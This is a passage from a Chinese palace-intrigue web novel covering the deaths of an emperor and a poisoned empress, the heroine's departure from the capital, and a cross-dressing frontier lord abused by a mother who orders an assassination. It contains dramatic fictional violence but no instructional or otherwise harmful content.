白发苍苍之下,这个年迈的帝王老泪纵横。 “朕只不过是想当皇帝而已,想当的久远一点而已,朕又做错了什么呢?”他骤然发怒:“朕沦落到今日,都是拜你们所赐!” “该死的是你们!”他大声叫嚣着。 满朝文武此刻已经哭死哀嚎着过半,整个大殿之上满目怆然,君不君,臣不臣。 谁都做错了,又好像谁都没有错。 第二百九十四章 张岚依做女帝的梦,该醒了 燕晚清扶着张岚依,她明显感觉到皇后身上越来越冷。 眉头一簇:“娘娘!” 张岚依用手背擦拭唇角的鲜血,抬手推开了她的搀扶,缓缓走到了一个侍卫身边,拔走了他剑鞘中的长剑。 只听见那一声:“铮——!”长剑拔出,剑尖泛着森冷的光。 满朝文武惊呼声不断。 皇后这是要干什么? 难不成她还想杀了皇帝报仇不成? 皇帝看着她朝着自己逼近,自顾自的冷笑两声,他弓着背甚至超前走了两步。 “……皇后想做什么?”他眯着眼睛:“难不成是想动手杀朕……哈哈哈你敢吗?朕死了,你也得陪葬。” “本宫凭什么给你陪葬?”她拖着长剑,剑在地面上摩擦出让人不适的尖锐声音:“事到如今,你还以为大渭都在你的掌控之中么?本宫要替父亲报仇,替这么些年枉死的那些人向你复仇!” 皇帝只是眯着眼睛,唯独这件事情他十分的笃定:“不,杀了朕,你得陪葬。” “做你的春秋大梦!本宫——”张岚依将长剑架在了他的脖子上,骤然间群臣惊呼:“皇后娘娘!” “动手便是,朕的皇后,你犹豫什么?”皇帝低低的笑出了声。 燕晚清是第一个注意到皇后不对的。 她迅速上前扶住了她,只见张岚依此时口中不断的吐出鲜血。 她伸出手放在了唇边,摸了摸那黏腻的血液,双眼瞪大,不敢相信:“……血。” “宣太医!”燕晚清立刻沉声说道:“不,去把小六找过来!快去!” 燕凌珍此刻还在宫外,前往宫中还需要一段时间。 萧蘋风抬脚朝外走去:“交给孤。” 看到萧蘋风出去了,燕晚清稍微松了一口气,按照他的功力,很快就能将小六带进来。 张岚依再也拿不住那长剑,猛地掉在了地上,发出最后的哀鸣。 鲜血已经染红了她的衣襟,顺着脖颈渗进了内衫里面,她双眼都是恐惧,沾满鲜血的手死死的抓着燕晚清。 她用手指着皇帝。 燕晚清看过去,桃花眸里都是深沉:“陛下竟然对皇后下毒!” “没错!”说起这个皇帝有些眉飞色舞:“醒过来之后,朕就开始着手这件事情了,朕说了,百年之后你得跟朕待在一起。” “你做梦!”张岚依出口骂道,又吐出一口鲜血来。 燕晚清见状从怀中胡乱掏出瓶瓶罐罐,都是小六说对身体好的药丸,她刚要拿着药丸给皇后用下,就被她推开。 “不用了,他既然都这样说了,必定不是寻常的药。”张岚依跟着皇帝这么多年,是最了解他的人。 要么不做,做就要做到绝路上去。 “是什么毒?”燕晚清眼尾猩红,她逼问道。 皇帝耸耸肩:“国师给的,无色无味,朕每日都将这药丸分批融进了汤汁里给皇后服下,昨日已经是最后一份了。” 竟然是那汤! 张岚依现在想起来只觉得浑身彻骨寒冷。 “说起来讽刺,你我虽为帝后,也是民间的夫妻,背地里做的却都是要对方性命的事情。”张岚依冷不丁嗤笑道:“死亦何惧?颠覆了你萧家的江山,将你的事情公布与众,让你遭受万民唾骂,遗臭万年,本宫死的值得!” 她索性摆烂,将全身的重量依靠在燕晚清身上,抬手拿过来福递过来的手帕,她胡乱的擦拭着下巴上的血渍,目光灼灼的盯着皇帝,看着他不再得意洋洋,看着他仇恨的目光,张岚依心里别提多舒爽了。 昔日恩爱帝后,这一刻刀剑相向,恨不得对方除之而后快! 燕晚清在听见皇帝说毒是国师给的瞬间,就在大殿里找宋化虚,人头攒动下面,却始终没有找到国师那张脸。 宋化虚已经走了。 他要走,在座无人能拦得住。 “没事的,本宫已经活的够本了。”张岚依用手拍了拍燕晚清的手背,看向她的目光带着一丝柔软:“你无需顾虑本宫,继续做你想要做的事情。” 燕晚清想要做的事情。 她紧闭双眼,胸腔急促的上下浮动,紧接着睁开那双桃花眸子,似乎是下定了某种决心。 “来人,赐笔墨,伺候陛下写罪责书!“ 此话一出,皇帝登时冷下脸来:“燕晚清你安敢如此——!” “不过是将陛下平生所为写在纸上,做都做了,还怕写下来么?”燕晚清将张岚依交给了来福,起身直接抓着皇帝的衣襟上了台阶,她将他摁坐在了龙椅之上:“事到如今,陛下要识时务。” 这句话,也是当年皇帝亲口对父亲说的。 而今,她不过是以牙还牙,以眼还眼罢了。 见皇帝捏着笔不动,墨汁顺着尖端淌落,她轻笑一声:“自古成王败寇,陛下也是过来人,倘若陛下不愿,那我也不介意直接改朝换代……您知道的,我有这个实力。” 她压低声音凑到了年迈的皇帝耳边缓缓说道。 皇帝听着浑身僵硬,墨汁随着他手的颤斗在宣纸上溅落无数墨点。 “燕晚清,你休想,太子不孝,但他绝对不会允许你这般作为的。”皇帝笃定,哪怕再怎么深爱面前的女子,萧蘋风依然有身为皇室子孙的骄傲,有身为男子的骄傲。 “您真是病的太久了,一丁点都不了解自己的儿子,北边疆土辽阔,乃是大渭的两倍还不止,周边诸侯小国,包括六国在内的赵国和宋国,早就暗地里奉他为王了,你以为,他还会看得上这小小的大渭么?”燕晚清嗤笑一声,毫不留情的戳穿。 “他在你这里是不受宠爱的太子,在外面可是至高无上的王者!” “……当真?”皇帝浑浊的瞳孔中闪过某种热忱,他不敢相信的抬头看向燕晚清:“他当真已经将北部全部收服了?” 倘若是这样,赵宋都已经是囊中之物,那么收服剩下的三国,指日可待啊! “陛下在想什么?想着往后大渭如何凌驾六国之上?”燕晚清没有忽略掉皇帝面上的任何一丝表情:“那些跟陛下跟大渭都不会有任何关系,因为萧蘋风志不在此,他跟您是完全不一样的两种人!倘若上苍真能给他选择的机会,我相信他宁愿选择出生在农户家里,都不愿意再跟陛下有任何一丁点关系!” “……他,是这么跟你说的?”皇帝听着燕晚清的话,整个人又沧桑了不少。 “朕一直都知道他很优秀,虽然是朕的儿子,可是他更像先后……先后出身高贵,聪明利落,越发的衬托出朕的卑劣,所以太子出生后,朕才会不断疏离他们母子,谁曾想,朕一直心心念念做不出来的事情,他如此轻易就能做到了……咳咳咳咳!” 说着说着皇帝剧烈咳嗽了起来,他用手捂住唇,再拿开的时候,掌心已经有一口鲜血了。 “这世道不公啊……”皇帝长唏嘘。 手里的毛笔却在宣纸上开始写了起来。 一边写他一边说道:“朕戎马一生,到头来父皇没有当好,皇帝也没有当好,终成一个孤家寡人,今日朕自愿写抒写这罪状书,却不是屈服于你,他生来就是太子,往后自然是大渭的皇帝,这是我们萧家的天下,你是夺不走的,朕失了民心不假,可是太子没有!” 他写的很快,拿着龙印毫不犹豫的盖了下去。 然后目光灼灼的盯着燕晚清:“这是你要的罪责书,同样也是传位太子的诏书,燕晚清,你想扶张岚依当第二个女帝的春秋大梦,也该醒了。” 第二百九十五章 往后你的妻子,不要像我 皇帝的声音高亢,整个人犹如一把铁锈斑驳的老剑,可是他也有自己的坚持和帝王的自傲。 话音刚落,来福怀中的张岚依猛地吐出一口鲜血,然后整个人晕厥了过去。 燕晚清脸色铁青。 她与皇帝两军相对,终于还是落得了两败俱伤的下场。 燕凌珍面色苍白的从朝臣中挤了出来,直接扑到了张岚依的面前,手里的银针不断手起落下,额头上密密的汗水肉眼可见的出现。 萧蘋风昂首看着她手里的诏书,清俊的面容之上很是复杂。 满朝文武嘈嘈切切,失去了主心骨。 唯有皇帝意志坚定,他哈哈大笑着,当着众人的面,拿起桌子上的龙印砸向了自己的头颅—— 士可杀,不可辱。 一切发生都在转瞬之间,燕晚清眼睁睁的看着皇帝满头是血的倒在了龙椅之上,萧蘋风嘴里喊着父皇奔了上来,她手脚冰冷的捧着诏书,在文武百官面前,活成了一个十恶不赦的罪人。 燕家嫡女燕晚清,昔日美誉天下的女诸葛,与皇后张岚依勾结谋反,殿前逼死圣上的消息不胫而走,很快传遍了天下。 …… 满屋药香之下。 燕凌珍眼底下都是青紫色,整个人十分憔悴,她将皇后的手腕放回了被褥里面,转身面对众人希冀的目光,她无奈的摇了摇头。 宋化虚的千机,她尚且解了好几个月。 此毒更是毒辣,她根本没有时间去研制解药。 张岚依已经是回天乏术。 “你们都出去吧,最后的时间,本宫想一个人静静的呆着。”张岚依靠在软垫上,声音很轻。 头顶上沉重的凤冠已经卸下,此刻的她三千发丝披散在肩头,整个人柔软又祥和。 燕晚清是最先动的。 她低着头朝着大殿之外走去,其他人反应过来也跟了出去。 “……阿姐。”燕凌珍上前拉住她的手,才发现她掌心冰凉。 燕晚清一张绝美的面容上看不清楚什么情绪。 燕凌珍十分心疼,她低低的开口:“对不起阿姐。” “……不怪你。”燕晚清用力回握她:“这件事情是阿姐没有考虑周全。” 倘若她再周全一点,皇后就不会死了。 那段时间她忙着处理自己和萧蘋风之间的事情,沉迷于儿女情长,没有顾全大局。 “小六……你让阿姐一个人待一会儿好不好?”燕晚清轻轻的开口。 燕凌珍看着阳光之下的她,苍白的几乎透明的面容,缓缓的松开了她的手:“……好。” 燕晚清用力弯了弯唇角,一个人脱离的人群朝着谁也不知道的方向过去了。 燕凌珍站在她的身后,目光担忧的看着她的背影。 寂静的大殿之内。 张岚依看着半跪在自己面前的男子,扬起了明媚的笑容:“你来了。” 她伸出手,燕京双手捧住她的手,贴在了自己的面颊上。 燕京眼底都是血丝,下巴上也长了青色的胡茬,面容憔悴,整个人看起来十分的颓废。 “你的头发都已经长长这么多了。”张岚依抽出手,在他浓密的短发上轻轻的摸着。 本来光秃秃的脑袋上,此时都已经长满了粗壮浓密的发丝,摸着还有些扎手。 燕京不禁哽咽一声:“岚依……” “我要食言了。”张岚依目光细致的看着自己爱了半生的男子:“本来说好当了女帝就纳你入后宫,让你娶我,可是我做不到了。” “燕京……我死后你找个女子成家吧,她最好不要像我。” “我不想听这个!”燕京低喝一声打断,看着张岚依的目光里充满了执拗:“你知道的,我不想听这些!” 张岚依抿了抿唇,眼泪就从眼眶中掉了下来,砸在他的手背上。 燕京像是被烫到了一样,整个人都跟着颤抖。 “别这样好不好?”张岚依轻声的说道:“能替父亲报仇我已经很知足了,所以燕京,你可以开开心心的送我走吗?我很喜欢你笑起来的样子。” “你不能这么自私。”燕京摇着头恶狠狠的看着她。 张岚依颤抖着嘴唇又说道:“可是我一贯自私,你早就该习惯了才对,我死后,你将我烧了吧,就洒在南山脚下,等山风起的时候,我就随着风起来去看看外面的世界……我不希望我死后还被禁锢在这偌大的皇城里面,那样,就太可悲了。” “住嘴!”燕京猛地起身,双眼猩红,他用双手捧住张岚依的面颊,唇盖了上去:“你不要再说了!我一个字都不想听!” 这是一个充满绝望的吻。 张岚依却像是个少女仰着头,亲吻着自己的爱人。 他是她昏暗人生里的唯一一抹光亮。 那一年皇帝将她罚到南山抄送佛经。 他一身红衣袈裟从山中而来,成了她心头多年抹不去的朱砂痣。 这段充满着禁忌的爱恋中,他们在俗世里面尽可能小心翼翼的成全着彼此。 可是她多么希望有朝一日,自己能够光明正大的和他牵着手在南山逛一圈啊,哪怕只是牵着手走路,都会让她觉得此生值得。 可是她是一个被仇恨禁锢在自己逼仄角落里的人,她所有的愿望都能在阴暗的角落进行。 她的爱人,为了她,丢了袈裟,走下了圣洁的佛堂。 又为了她,委曲求全,活在了阴暗角落里。 像他这样的年纪,本该早就娶妻生子,儿孙满堂的。 可是因为她……依旧孑然一身。 “燕京,我好冷……”张岚依呢喃道。 燕京将她紧紧的抱在怀中,他无助的像个孩子:“我抱着你,你不要怕,求你不要离开我……岚依,我不能没有你。” 张岚依努力伸出手抱着他的腰肢:“……你不要去找你师兄报仇,你打不过他的,燕京……好好活下去,我希望你能生活在阳光下面……” 她和他再也不想在夜晚见面了。 燕京哽咽。 张岚依安抚的笑了笑,她的眼眸半睁着,已经有些打不开了。 “……好冷,你可不可以抱我出去晒晒太阳。” 今天的太阳一定很大吧。 燕京点点头,将张岚依抱了起来,朝着大殿门口走去。 刚跨过门槛,阳光直射到二人身上的那一刻,腰上环住的手彻底松了下去……燕京整个人彻底卸了力,抱着张岚依,直挺挺的跪在了青石板上。 众人将视线落在他的身上,看着他怀中悄无声息的皇后,全部跪在了地上。 来福声音悲怆:“皇后娘娘薨了——!” 第二百九十六章 燕晚清消失,一纸信笺留围涎 短短的一天。 皇帝薨了,皇后也薨了,深宫之中的太后一杯鹤顶红也了结了残生。 萧蘋风被这些事情烦的整整半个月没有睡过一个好觉。 等到他反应过来的时候,才发现,已经很久没有看见自己的乖乖了。 那日,她抱着诏书,眼神中一闪而过的愧疚,让此刻萧蘋风心里产生了些许不安。 “殿下,昨儿个的那些大臣又来了。”小太监急匆匆的跑进了御书房里。 萧蘋风将手里的奏折丢在了案几上,揉了揉发疼的额角:“知道了。” 接连来了七日,每一次都是催他尽快举行继位大典。 可是萧蘋风根本不想当皇帝。 “你帮孤挡挡,今日孤不想看见他们。”再看见那几张布满丘壑的面容,萧蘋风觉得自己真的会忍不住用刀砍死他们。 王权小院的事情,牵连了几乎大半的朝臣。 此刻大理寺已经人满为患。 桩桩件件都需要他去处理。 他也是人,如何处理的过来? 小太监看着太子起身,他愣了一下:“殿下今日是要出去?” “嗯。”他再也憋不住了,他要去看看燕晚清。 小太监不敢多问,只得低头称诺。 他不知道的是,此时的燕家早就空无一人。 镇国府的牌匾都已经被人用石头砸在了地上落灰,萧蘋风站在树荫之下,一双黑眸里只剩下了阴沉。 回到宫中。 他直奔孙涟漪的寝宫。 “燕家人呢?” 孙涟漪抬眼看了他,然后慢吞吞的起身:“别吵到你弟弟睡觉,过来说。” 她出了月子,最近又将荒废的长枪拿了起来,在皇帝死后,她越发的沉默寡言,眉宇间也尽显英气,仿佛又回到了当年孙家大小姐的时候。 孙涟漪给萧蘋风到了一盏茶:“太子殿下,请。” 萧蘋风看了她一眼,落座,没碰茶:“孙贵妃,她人呢?” 半个月的时间,燕家人去楼空。 他根本无从下手。 孙涟漪抿了一口茶,眼眸里闪过促狭:“殿下这是急了?” “还请孙贵妃不要拐弯抹角。” “半个月你忙于政事,身边的人挤得满满当当的,本宫那可怜的表妹可是过得水深火热,遭万民唾骂的时候,你在哪里?” “孤……”萧蘋风蹙眉。 他真的不知道。 这短短的一段时间,萧鸿深死了,父皇死了,皇后也死了,就连太后都死了……他忙的焦头烂额,所有人都在等待着他去做一个决断去出主意,他忙的脚不沾地,每天都不知道是如何睡过去,又是如何睁开眼的。 最开始燕晚清也是来陪伴过自己,后来次数就少了,再到后面人就彻底看不见了。 孙涟漪连连摇头:“眼下人都走了,你眼巴巴的到本宫这里要人,是何道理?” 见萧蘋风沉默不语,她又道:“朝中官员损失过半,国库严重亏空,眼下的朝廷内忧外患,可是殿下不觉得奇怪么?为何这半月之中,却都逐渐有了好转?” “孤知道,是她在帮孤。”萧蘋风不是傻子。 所以他才会这么安心的呆在皇宫之内。 “……算太子还有点良心,也不枉那傻丫头临走之前安排好这一切。”孙涟漪原本还想刁难一下萧蘋风,但是看着他目光着急,眼底下还有多日未曾好好休息的倦色,一时之间也心软了。 到底还是比自己小好几岁的孩子。 孙涟漪于心不忍,也不再为难他了。 “好了好了,本宫与你开玩笑的,这段时间朝廷内外流言四起不假,但天下人也都知道你那好父皇究竟都干了哪些丧尽天良的事情,镇国公一身戎马又救了多少苍生,孰是孰非大家心里都有数,只不过经过这一次,表妹彻底累了,所以她趁这个机会带着一家老小出去游山玩水去了,具体去了哪里本宫还真不知道。”她将一纸信笺从垫子下面取出来,推到了萧蘋风的面前。 “这是她留给你的信。” 萧蘋风将信笺拿了过来,孙涟漪端着茶好奇道:“打开来本宫看看,鼓鼓的也不知道里面装的是什么东西。” 信笺封的很好,萧蘋风仔细的拆开,将里面的东西倒了出来。 红红的软软糯糯,铺展开来上面的绣图歪歪扭扭,看起来丑的很可爱。 “这是?”萧蘋风一时之间有些认不出来。 孙涟漪看他呆呆笨笨的,一把抢过来:“多简单,这不是小孩儿带的围涎么。”刚有小孩的她,对这个可是特别熟悉,这些时日绣了不知道多少个。 看着上面拧巴的跟个小老鼠一样的图案,她有些嫌弃的蹙眉。 “表妹的绣工一如既往的不堪入目。” 燕晚清什么都好,就是绣工差的奇特。 小时候,她没有地方能够嘲笑她的,就拿绣工说事。 每每到这个时候,燕晚清就会气呼呼拿起长枪要跟自己拼命。 想到少年时期的事情,孙涟漪眼尾都多了几丝笑意。 萧蘋风坐在一边不知所措,他不知道为何燕晚清要留个小孩子的围涎放在信笺里。 孙涟漪啧了两声,将那丑的出奇的围涎还给了他。 “你们俩也真是的,都是命门贵子贵女,四书五经都读到了狗肚子里去不成?竟然还整出个明修栈道暗度陈仓的事情来了。” 萧蘋风黑眸冷了冷:“贵妃娘娘说话还是要注意一点比较好。”说他可以,但是不许说他的乖乖。 孙涟漪轻哼一声:“本宫还说错了不成?孩子都有了,说不得?!” 孩子?! 萧蘋风眼中一喜,他将围涎捏在掌心里,感觉胸膛猛烈跳动,立刻站起身:“孤要去找她!” “去吧去吧,赶紧走,一会儿本宫的儿子该醒了。”孙贵妃伸了个懒腰。 这天儿格外的好。 那老皇帝没了之后,皇城的空气都变好了。 她现在已经无欲无求,一心只想把儿子养大。 若是萧蘋风允许的话,她甚至想带着小皇子找个没人住的荒山野岭呆着,也好过在这人心比鬼可怕的皇城里。 听到皇后张岚依是死于被皇帝下毒之后,孙涟漪是后怕的。 好在她平日里所有的吃食都是嬷嬷们试过之后,才让她用的,不然真是防不胜防。 再想到那日所有的嫔妃都被诏到了皇帝面前,唯独没有自己,她就知道是皇后在替她挡着。 此番恩情竟然没有机会再报了。 孙涟漪长叹一口气。 不过短短几日,已经是物是人非了。 “殿下接下来打算怎么办?”她看着萧蘋风要出去的背影,问道。 萧蘋风捏紧手中的围涎:“最多一月,等孤处理完这些事情,就把传位诏书立了去找她。” “什么?”孙涟漪不敢相信自己的耳朵:“你不当皇帝?” 萧蘋风摇摇头:“嫌麻烦。” 太子不当皇帝,谁当? 孙涟漪心里升起一股子不妙之感,她刚要开口,就见那太子爷回头,一脸真诚的看着自己:“孙贵妃在宫多年,皇后逝世之后,又代为打理后宫,任劳任怨,贤良淑德,孤的十五弟生的聪明利落,纵观整个皇室都找不到这么合适的人选了……孤要将皇位传给十五弟!” “你放屁!”孙涟漪立刻站起身来:“你敢!” 此刻她根本不顾什么尊卑,也不顾面前的人是那太子殿下,手里抄起茶壶就要泼过去。 “本宫的儿子才不到两个月——”如果不是身边的嬷嬷拦着,那壶茶已经泼过去了。 萧蘋风负手而立,手中那抹红色的围涎在掌心中异常耀眼。 “这件事就这么说定了,贵妃娘娘如此激动,就不必谢恩了,留步。”他心情颇好的转身离开。 孙涟漪心气不顺,当天晚上胸口就硬的像个石头,直接气的发烧了。 第二百九十七章 本侯这里,你的命不值一提 接天莲叶无穷碧,映日荷花别样红。 十几辆马车排着长长的队伍,顺着荷花池的小路超前行驶着。 一身翠绿色罗裙的丫头,从路边的荷花池里摘下探头出来的荷花,献宝一样递给了马车内的人。 “小姐,鲜花赠美人。”从歌将荷花从窗口递了进来。 燕晚清抬手接过:“嘴皮。” 从京都出来已经有十日了,他们一路向着北疆而去,走到哪里算哪里,这段时间从歌整日和小六混在一起,整个人也跟着活泼了起来。 要不说呢。 远离了京都,所有人都像是松了一口气。 都变得恣意轻松了很多。 “母亲和阿姐们可要吃莲子?”燕小六的马车停在了后方,她已经下了马车,冲着前面喊道。 孙青莲听见声音,也从马车上下来,她抬头看了看天气。 “这荷花池别有一番风景,不如大家都停下来赏花用些膳食再上路吧。” 有了孙青莲的话,大家一个接着一个的从马车上下来,燕子濯更是绕着荷花池开始疯跑。 大哥燕黎安留在了京都,他放不下宫里的那个人。 经过了这么多的事情,燕晚清已经看淡了很多,每个人都有每个人的命数。 她已经从大哥口中得知了雁门关那日的真相。 敌人夜袭抓走了很多个城中子民,逼迫父亲开门。 弹尽粮绝之前父亲已经派人将请求救援的消息送到了京城,如果救援的及时,那一场战役是必胜的。 可是送信的骑兵被杀死在了城门口,父亲他们撑到了最后一刻,依旧没有等待京城里的任何一丝消息,不得已的情况下,他征得了所有人的同意,打开城门,决一死战! 那一战,他们杀的天昏地暗,血流成河,当敌人用一个稚子威胁他们之后,整个雁门关将士和百姓彻底同仇敌忾,所有人都拿起了武器捍卫家园,死战到了最后一刻! 他们燕家儿郎无愧于心,无愧于天下! 远处母亲孙青莲正在剥着手中的莲蓬,脸上的笑容很是温柔,燕晚清心尖酸了酸。 可是父亲唯独对不起母亲。 “表姐,快尝尝这莲子如何?”一个俊俏的少年伸过来一只手,掌心上有一小撮剥好的莲子,是孙家的长子孙鸿煊。 听说燕晚清要离开,他没有一丝的犹豫,说要护送他们到南疆。 “很清爽。”燕晚清接过莲子,吃了一颗。 孙鸿煊见状高兴的点了点头:“表姐喜欢就好。” 说着,他又重新到了队伍之后。 若是五妹妹在这里,心里定然会高兴的。 毕竟孙鸿煊是她心心念念的人。 燕晚清叹了一口气,可惜了。 五妹妹沉迷剿匪不可自拔,京城边上的剿完了,她又霍霍到了别的地方,看来立志要成为这天下的山大王了。 真是不知道等她回来,她的孙家表哥还在不在了。 燕晚清无奈的摇了摇头,随他们去吧。 年轻人自有年轻人的福气,她已经不想折腾了。 等到和怀玉的婚约解除,再帮忙处理完北疆的事情,她就打算在江南水乡找一块地,建一处院子,然后在那里生儿育女,颐养天年。 信笺相信那呆子已经看见了,过来也就是时间的问题。 燕晚清并不担心,毕竟他们已经确定过了心意。 她对他保留着全身心的信任。 …… 遥远的北疆。 幽暗僻静的假山之后,虽然已经是桃花盛开之际八月荷花盛开之际,可是北疆一向天寒地冻,此时的池水还是冰冷异常。 蓦地从水池低处冒出一串泡泡,紧接着岸边岩石之上,攀上一只白皙的柔荑,她一身狼狈,艰难痛苦的爬上了岸,天气寒冷冻得她直哆嗦。 柔弱的身体艰难站起来,浑身冒着寒气,她抬头看了一下头顶上的一方小天地,露出了一抹如释重负的笑容。 “再忍忍,怀玉,就差最后一次了。” 她低低的咳嗽着,纤细单薄的身躯剧烈颤抖,竟是生生咳出一口血,溅落在地上。 怀玉苦笑,自从京都回来之后,她的这幅身子竟然一日不如一日,体内的毒素已经完全压制不住了,只能依靠浸泡寒潭来让体内的蛊虫进入睡眠,她已经连续跑了三十二天,再有一天,就能再撑一段时间。 怀玉不知道倘若自己死了,北疆会进入到怎样一个局面,届时二房还有老太太还会做出什么事情。 怀玉从旁边的石头上捡起自己的衣服,一件一件的穿起来。 入眼看去,她的身上遍布嶙峋可怖的伤口,各式各样,像是一条条恶心的长虫。 扣子已经扣到了最后一颗。 此时。 “侯爷,侯爷您没事吧!”毛毛躁躁的冲出来一个绿衣小丫头,目光似乎是探索,步伐伪装着几分急促。 怀玉面无表情看着她,看的那丫头发毛:“侯爷……奴婢见您这么久不出来,有些着急才会进来的。” 怀玉下令自己泡寒池的时候,任何人不许进入。 她是女子的身份决不能让任何人知道,否则北疆必乱! 那些世家大族眼下就等着抓侯府的把柄。 在燕晚清到来之前,她要稳住局面。 “你过来。”她扣上最后一颗扣子,低低地喊了一声。 绿衣丫鬟凑近,便只觉腰部被猛地一推,身体失去控制,直直的朝着池子栽了进去,她尖叫出声:“侯爷这是做什么?!奴婢虽然身份卑贱,但也是一条命……” “在本侯爷这里。”怀玉伸出手哈了一口气,搓搓,眼神比池水更加冰冷:“你的命,不值一提。” 侯府里,多得是想要窥伺自己秘密的人。 看着丫鬟在冰冷的池水里扑腾,她面无表情。 “真要死在这里面,你以后泡的可就膈应了。”一身红衣的男子靠在门口,嬉笑道。 怀玉冷冷的看向他:“乌别,你是故意放她进来的。” 被喊作乌别的男子,正是当时随着怀玉一道入京的人。 乌别状似无辜的耸了耸肩。 “看她不爽,仅此而已。” 怀玉闻言,目光暗沉,语气也跟着冰冷起来:“不要再有下次。”说着她撞着乌别的肩膀离开。 剩下的乌别长叹一口气,将奄奄一息的丫鬟从寒池里拎了出来,看着她希冀的目光,乌别勾了勾唇,露出一抹颠倒众生的笑容来,然后伸出手拧断了她的脖子。 丫鬟一声都没有来得及叫出来,就彻底离开了人世。 不怪他们二人如此心狠手辣。 只是北疆虽然地小,可是想要怀玉性命的人实在是太多了。 外面的人想要分北疆侯府一杯羹,里面的人都想要杀她取而代之。 在这里。 不心狠的人,根本活不下来。 她一身的伤,多数来自于母亲,但是剩下的都是她为了活下去留下的印记。 怀玉从寒潭走出来。 北疆侯夫人身边的丫鬟翠织已经等在了外面。 她虽然身穿宫装,长相柔美,但是双脚外八,气息薄弱,一看就是练家子。 “见过小侯爷。” 怀玉看了她一眼,眸光冷淡:“何事?” “夫人收到了一封来自京都的信笺,是寄给小侯爷的。”翠织低着头说道。 怀玉心中一喜。 竟然是京都来消息了。 但是面上依旧冷淡:“知道了,本侯这就过去。” 可是信笺送到了母亲的手里,她又有些不安的抿了抿唇。 第二百九十八章 学你当条狗?宁死难从命! 怀玉刚刚踏进院子,脚还没有踩进门槛,一个杯盏便突如其来的砸了过来,冷不丁砸伤了她的额角。 “侯爷!”翠织轻声喊了一声,但是瞬间噤声。 原因无他,因为砸杯子的是怀玉的亲生母亲,北疆侯府的夫人,乌枕。 此刻乌枕一脸阴沉的看着怀柔。 “侯爷在京都好大的威风啊。” 怀玉闻言,嘴唇抿了抿。 此时额角已经开始流血,猩红的血迹顺着脸颊往下淌,她伸出手去摸,指尖触目惊心。 “你们都出去。”怀玉沉声说道。 屋内的人不敢多留,立刻离开,翠织出去的时候将门全部关好。 怀玉超前走了两步:“母亲为何发怒?” 她不解。 乌枕将手里的信笺丢在了地上。 怀玉捡起来看了一下,确实是燕晚清的笔迹,心里简单交代了一下这些时日京城里发生的事情,然后说明自己到了哪里,最多再有个月余,就会到达北疆城里。 “孩儿看了,并无什么问题。”浓稠的血液缓缓流下,已经将她的右眼沾染得猩红,半个世界变成了红色。 乌枕半敛眼眸,冷哼一声:“没有问题?这么多年为娘的教导都到了狗肚里了不成?!你且说,那燕晚清是什么身份?” “安平郡主,孩儿的未婚妻。”怀玉沉声说道,当时与镇国府结亲,婚书也是母亲亲自寄到京都的,没有任何问题,眼下她根本不知道乌枕为何这般生气。 甚至到了跟自己动手的地步。 乌枕见她依旧不明白自己的意思,深呼出一口浊气:“京都的消息跟她的信是前后脚到的,你可知此次京都大乱,她燕晚清在其中扮演了怎样一个角色?” 怀玉没吭声。 她知道,但那又如何? 燕晚清是她的挚友。 旁人做出这种事情,她会觉得大逆不道,但燕晚清做出来,她怀玉就是觉得问题不大。 所以以至于现在乌枕的生气,在她看来也是小题大做。 “燕晚清她竟然和皇后勾结,意图谋反啊!如果不是太子殿下力挽狂澜,说不定这个大渭都已经改姓了!”乌枕越说面色越冷:“你竟然还让这种乱臣贼子到我们北疆来,嫌事情闹得不够大是么!” “她过来是想与孩儿解除婚约。”怀玉解释道。 乌枕一听,眉头紧皱:“眼下燕家在京都混不下去了,举家都在迁徙,可能解除婚约只是说辞,燕晚清这个人我早有所闻,城府极深,说不定她是想要赖在北疆,你若是个……还好,可是你偏偏是个——” 话说不出口,但是怀玉已经感受到母亲语气中的怒火。 每每这个时候,乌枕就会将怒气洒在她的身上。 怀玉面无表情的站在原地,额头上的伤口完全被她无视了。 她不能躲闪,也不能喊叫,不然会换来更猛烈的殴打。 但是今日乌枕显然是没有了兴致。 她对于燕晚清要来这个消息,浑身上下都觉得十分无力和疲惫。 “她知道你的真实情况么?” 怀玉想都没有想,撒谎:“不知。” 乌枕这下子心里松快了些许:“这就好,这样燕晚清就不能拿捏你了。” 她思忖着,缓缓开口道:“这件事为娘会看着来,你就不用管了,老夫人和二房此刻还不知道你那未婚妻要过来,不然定然又是一番腥风血雨。” 提到老夫人和二房,怀玉眼中丝毫不掩饰杀意。 “母亲究竟还在犹豫什么?我们分明已经有了摁死他们的能力,为何还要一而再再而三的隐忍?!” 对于这个,怀玉十分不理解。 乌枕眼中闪过沉痛。 “不管再怎么说,他们也是你父亲的生母和手足,若是真的下手了,百年之后为娘要如何下去面对你的父亲。” 又是这番话! 每次的机会,都被乌枕的犹豫所错过! 怀玉心中闪过了愤恨。 “那他们呢?何尝念及过母亲和孩儿?母亲……如果你不想提前见到父亲的话,就不要在这么犹豫不决了。” 乌枕面色难堪,她冷冷的扫了怀玉一眼:“这件事我自有分寸,轮不到你来教我!滚下去!” 怀玉将一肚子的话直接咽了下去,抬脚就走了出去。 总是这样。 她猛地拉开门,看到了门口的翠织。 翠织一看见她脸上的伤口,就递过来一方帕子:“侯爷,擦擦吧。“ 怀玉扫了她一眼,没有搭理,抬脚朝着院子外面走去。 如果可以的话,她真希望自己当年直接死在了乌枕的腹中,也好过现在在北疆侯府里当一个傀儡! “怎么又是一身伤的出来了。”一身红衣的乌别从墙头上跳下来,伸出手就要过来触碰。 怀玉眼睛都没抬,直接用手打掉。 “滚!” 乌别见她周身戾气十足,轻叹一口气:“从小到大,你总是这么犟,你学学我,凡事顺着她,就不会总是一身是伤了。” 听到这里,怀玉冷笑:“学你当一条狗么?” 乌别眼神闪了闪。 怀玉头也不回的朝前走去:“宁死也难从命!” 要她当乌枕一条只会听话不懂反抗的狗,这辈子都不可能! 总有一天,她会解除掉身上乌枕用来控制她的蛊毒,然后永永远远的离开北疆这个肮脏丑陋的地方! 再也不会回来了! 怀玉一身怒火的推开大门,朝着外面走了出去。 她不知道的是,在她离开之后。 翠织跪在了乌枕的面前。 “你盯着这个叫燕晚清的女子,在他们来北疆之前,杀了她。”乌枕说杀人的时候,语气十分轻松,就像是说今日的天气:“不是过来解除婚约么,只要她死了,这婚约自然会作废,这燕家的浑水也不会碰到北疆。” 翠织低着头:“诺。” 她才是乌枕身边最为忠心耿耿的一条狗,就好似乌枕的分身一样。 乌枕看着屋内的燃香,又道:“二房和老夫人那边有消息了么?” “老夫人出去了还没回来,二房那边一直在为几个铺子找侯爷吵架。”翠织回答。 